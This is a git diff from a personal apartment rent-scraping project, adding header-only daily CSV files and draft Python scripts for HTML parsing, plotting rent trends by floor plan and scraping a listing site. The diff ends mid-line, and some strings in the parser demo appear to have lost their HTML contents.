b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250303.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250304.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250304.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250304.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250305.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250305.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250305.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250306.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250306.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250306.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250307.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250307.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250307.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250308.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250308.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250308.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250309.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250309.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250309.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250310.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250310.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250310.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250311.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250311.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250311.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250312.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250312.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250312.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250313.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250313.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250313.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250314.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250314.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250314.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250315.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250315.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250315.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250316.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250316.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250316.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250317.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250317.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250317.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250318.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250318.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250318.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250319.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250319.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250319.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250320.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250320.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250320.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250322.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250322.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250322.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250323.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250323.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250323.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250324.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250324.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250324.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250325.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250325.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250325.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250326.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250326.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250326.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250327.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250327.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250327.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250328.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250328.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250328.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250329.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250329.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250329.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250330.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250330.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250330.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250331.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250331.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250331.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250401.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250401.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250401.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250402.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250402.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250402.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250404.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250404.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250404.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250405.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250405.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250405.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250406.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250406.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250406.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250407.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250407.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250407.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250408.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250408.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250408.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250409.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250409.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250409.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250410.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250410.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250410.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250411.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250411.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250411.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250412.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250412.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250412.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250413.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250413.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250413.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250414.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250414.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250414.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250415.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250415.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250415.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250416.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250416.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250416.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250417.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250417.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250417.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250418.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250418.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250418.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250419.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250419.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250419.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250420.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250420.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250420.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250421.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250421.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250421.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250422.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250422.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250422.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250423.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250423.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250423.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250424.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250424.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250424.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250425.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250425.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250425.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250426.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250426.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250426.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/code_draft/2.py b/_posts/00CodeNote/project/webscrap_apt/code_draft/2.py new file mode 100644 index 00000000000..6944228496b --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/code_draft/2.py @@ -0,0 +1,35 @@ +from html.parser import HTMLParser + + +class MyHTMLParser(HTMLParser): + def handle_starttag(self, tag, attrs): + print("<%s>" % tag) + + def handle_endtag(self, tag): + print("" % tag) + + def handle_startendtag(self, tag, attrs): + print("<%s/>" % tag) + + def handle_data(self, data): + print(data) + + def handle_comment(self, data): + print("") + + def handle_entityref(self, name): + print("&%s;" % name) + + def handle_charref(self, name): + print("&#%s;" % name) + + +parser = MyHTMLParser() +parser.feed( + """ + + + +

    Some html HTML tutorial...
    END

    +""" +) diff --git a/_posts/00CodeNote/project/webscrap_apt/code_draft/img_play copy.py b/_posts/00CodeNote/project/webscrap_apt/code_draft/img_play copy.py new file mode 100755 index 00000000000..a1fca7f8994 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/code_draft/img_play copy.py @@ -0,0 +1,193 @@ +# import pandas as pd +# import matplotlib.pyplot as plt + +# # Load the CSV file into a pandas dataframe +# df = pd.read_csv('./apt_output/apt_20230325.csv') + +# # Plot a line graph of the house prices over time +# plt.plot(df['Floor_plan'], df['Rent']) +# plt.title('Apt Prices') +# plt.xlabel('Floor_plan') +# plt.ylabel('Rent') +# plt.show() + +# import pandas as pd +# import matplotlib.pyplot as plt + +# # Read the CSV file +# df = pd.read_csv('./apt_output/apt_20230326.csv') + +# # Clean the 'Rent' column by removing non-numeric characters +# df['Rent'] = df['Rent'].str.replace('$','').str.replace(',','').str.extract('(\d+\.?\d*)', expand=False).astype(float) + +# # Create a line plot of rent prices over the index +# df.plot(y='Rent', figsize=(10,6)) +# plt.title('Rent Price Trend') +# plt.xlabel('Apartment Index') +# plt.ylabel('Rent Price ($)') +# plt.show() + + +# 3 + +# import pandas as pd +# import matplotlib.pyplot as plt + +# # Read the CSV file +# df = pd.read_csv('./apt_output/apt_20230326.csv') + +# # Pivot the data to create a separate column for each floor plan +# pivot_df = df.pivot(index='Date', columns='Floor_plan', values='Rent') + +# # Mimic the data for the coming 7 days +# dates = pd.date_range('20230326', periods=8).strftime('%Y%m%d') +# for date in dates[1:]: +# new_df = pivot_df.loc['20230326'].copy() +# new_df.name = date +# pivot_df = pivot_df.append(new_df) + +# # Plot the data +# pivot_df.plot(figsize=(10, 6)) + +# # Add labels and title +# plt.xlabel('Date') +# plt.ylabel('Rent') +# plt.title('Rent Price Trend') + +# # Show the plot +# plt.show() + + +# import pandas as pd +# import matplotlib.pyplot as plt + +# # list of CSV files to read +# csv_files = ["./apt_output/apt_20230326.csv", "./apt_output/apt_20230327.csv", "./apt_output/apt_20230328.csv"] + +# # list of floor plans to plot +# floor_plans = ["S01", "S01L", "S02", "A03", "A05", "A06", "A07", "A09", "A10", "A12", "A14D", "A16D", "B03"] + +# # create empty dataframe to store all data +# all_data = pd.DataFrame() + +# # loop through each CSV file and append to all_data +# for file in csv_files: +# df = pd.read_csv(file, parse_dates=["Date"]) +# all_data = all_data.append(df) + +# # filter data by floor plans +# filtered_data = all_data[all_data["Floor_plan"].isin(floor_plans)] + +# # loop through each floor plan and plot on the same graph +# for floor_plan in floor_plans: +# data = filtered_data[filtered_data["Floor_plan"] == floor_plan] + +# # plt.plot(data["Date"], data["Rent"].str.extract(r'\$(.*)/month').astype(float), label=floor_plan) +# # plt.plot(data["Date"], data["Rent"].str.extract(r'\$(.*)/month').str.replace(',', '').astype(float), label=floor_plan) +# # plt.plot(data["Date"], data["Rent"].astype(str).str.extract(r'\$(.*)/month').str.replace(',', '').astype(float), label=floor_plan) +# data["Rent"] = data["Rent"].astype(str).str.replace(',', '').str.extract(r'\$(.*)/month') +# # print(data["Rent"]) + +# # data["Rent"] = data["Rent"].astype(str).str.extract(r'\$(.*)/month').str.replace(',', '') + +# # data["Rent"] = data["Rent"].astype(str).str.extract(r'\$(.*)/month').str.replace(',', '') + +# plt.plot(data["Date"], data["Rent"].astype(float), label=floor_plan) + + +# # set axis labels and legend +# plt.xlabel("Date") +# plt.ylabel("Rent ($)") +# plt.legend() + +# # show the plot +# plt.show() + + +import matplotlib.pyplot as plt +import pandas as pd + +# Define the list of CSV files to read +files = [ + "./apt_output/apt_20230326.csv", + "./apt_output/apt_20230327.csv", + "./apt_output/apt_20230328.csv", +] + +# Define the list of floor plans to plot +floor_plans = [ + "S01", + "S01L", + "S02", + "A03", + "A05", + "A06", + "A07", + "A09", + "A10", + "A12", + "A14D", + "A16D", + "B03", +] + +# Create a new figure to plot the data +fig, ax = plt.subplots() + +# Loop through each CSV file +for i, file in enumerate(files): + # Read the data from the CSV file into a Pandas DataFrame + df = pd.read_csv(file) + + # Loop through each floor plan and plot the data for that floor plan + for j, floor_plan in enumerate(floor_plans): + # Subset the DataFrame to only include rows for the current floor plan + subset = df[df["Floor_plan"] == floor_plan] + + # Plot the data for the current floor plan + ax.plot( + subset["Date"], subset["Rent"], label=floor_plan, linestyle="-", marker="o" + ) + + # Add a legend to the plot for the current CSV file + ax.legend(title=file, loc="upper left", bbox_to_anchor=(1, 1)) + + # Save the plot as a PNG file + plt.savefig(f"apt_{i}.png", dpi=300) + + # Clear the plot for the next CSV file + ax.clear() + + +# import pandas as pd +# import matplotlib.pyplot as plt + +# # Define the CSV files to read +# csv_files = ['./apt_output/apt_20230326.csv', './apt_output/apt_20230327.csv', './apt_output/apt_20230328.csv'] + +# # # Define a list of colors to use for each floor plan +# # colors = ['blue', 'orange', 'green', 'red', 'purple', 'brown', 'pink', 'gray', 'olive', 'cyan', 'magenta'] + +# # Read each CSV file and concatenate them into a single dataframe +# df = pd.concat([pd.read_csv(f) for f in csv_files]) + +# # Convert the "Date" column to a datetime object +# df['Date'] = pd.to_datetime(df['Date'], format='%Y%m%d') + +# # Loop over each floor plan and plot the rent price trend on a line graph +# for i, fp in enumerate(df['Floor_plan'].unique()): +# fp_df = df[df['Floor_plan'] == fp] + +# fp_df["Rent"] = fp_df["Rent"].astype(str).str.replace(',', '').str.extract(r'\$(.*)/month') +# plt.plot(fp_df['Date'], fp_df['Rent'], label=fp) + +# # Set the title, x-axis label, and y-axis label of the graph +# plt.title('Rent Price Trend') +# plt.xlabel('Date') +# plt.ylabel('Rent Price') + +# # Add a legend to the graph +# plt.legend() + +# # Show the graph +# plt.show() diff --git a/_posts/00CodeNote/project/webscrap_apt/code_draft/main copy.py b/_posts/00CodeNote/project/webscrap_apt/code_draft/main copy.py new file mode 100644 index 00000000000..6f52c926067 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/code_draft/main copy.py @@ -0,0 +1,116 @@ +# import re +# from urllib.request import urlopen + +# from bs4 import BeautifulSoup + +# import requests +# from csv import writer +# import time +# import random +# from lxml import etree as et + +# from urllib.request import Request, urlopen +# from urllib.error import URLError, HTTPError + + +# header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36"} +url = "https://www.irtliving.com/Apartments-In/Charleston-SC/Talison-Row" +# pages_url=[] +# listing_url=[] + + +# #Opening +# req = Request(url, 